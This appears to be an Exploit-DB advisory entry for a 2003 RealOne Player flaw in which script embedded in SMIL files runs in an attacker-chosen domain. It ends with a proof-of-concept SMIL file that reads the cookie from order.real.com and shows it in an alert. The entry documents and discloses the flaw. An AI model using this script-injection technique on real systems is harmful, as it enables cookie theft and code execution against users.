Real Networks RealOne Player Vulnerability

vendor:

RealOne Player

by:

DigitalPranksters.com

7.5

CVSS

HIGH

Script Embedded in SMIL Presentations

CWE

Product Name: RealOne Player

Affected Version From: RealOne Player for Microsoft Windows operating systems

Affected Version To: RealOne Player for Microsoft Windows operating systems

Patch Exists: NO

Related CWE: N/A

CPE: a:realnetworks:realone_player

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows

2003

Real Networks RealOne Player Vulnerability

Real Networks has reported a vulnerability in RealOne Player. Script embedded in SMIL presentations may be executed in the context of a domain that is specified by an attacker. This could allow for theft of cookie-based authentication credentials or other attacks. This vulnerability could also be exploited to execute script code in the context of the My Computer Zone, which could lead to installation and execution of malicious code on the client systems.

Mitigation:

Users should avoid visiting untrusted websites and should not open any suspicious SMIL files.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8453/info

Real Networks has reported a vulnerability in RealOne Player. Script embedded in SMIL presentations may be executed in the context of a domain that is specified by an attacker. This could allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability could also be exploited to execute script code in the context of the My Computer Zone, which could lead to installation and execution of malicious code on the client systems. This has been demonstrated with a newly reported vulnerability that is a variant of this issue (BID 9378), making it possible to exploit this issue to the same ends as the new vulnerability.

This issue is believed to affect RealOne Player for Microsoft Windows operating systems.


We have created a SMIL file that will read the cookie from
https://order.real.com/pt/order.html. The cookie will be read 9 seconds
after the audio has begun.

Source Code:
<smil xmlns="http://www.w3.org/2001/SMIL20/Language"
xmlns:rn="http://features.real.com/2001/SMIL20/Extensions">
<head>
<meta name="title" content="DigitalPranksters.com Proof of Concept"/>
<meta name="author" content="DigitalPranksters.com"/>
<meta name="copyright" content="(c)2003 DigitalPranksters.com"/>
</head>
<body>
<audio
src="http://radio.real.com/RGX/def.def...RGX/www.smgradio.com/core/audio/real/live.ram?service=vr">
<area href="https://order.real.com/pt/order.html" begin="1s"
external="true" actuate="onLoad" sourcePlaystate="play"
rn:sendTo="_rpcontextwin">
<rn:param name="width" value="10"/>
<rn:param name="height" value="10"/>
</area>
<area href="javascript:alert('Hi there! I\'m a digital prankster. I
just read your cookie from ' + document.domain + ' over the ' +
location.protocol + '// protocol.\n\nThe value was:\n' + document.cookie +
'\n\nHave a nice day.')" begin="9s" external="true" actuate="onLoad"
sourcePlaystate="play" rn:sendTo="_rpcontextwin"/>
</audio>
</body>
</smil>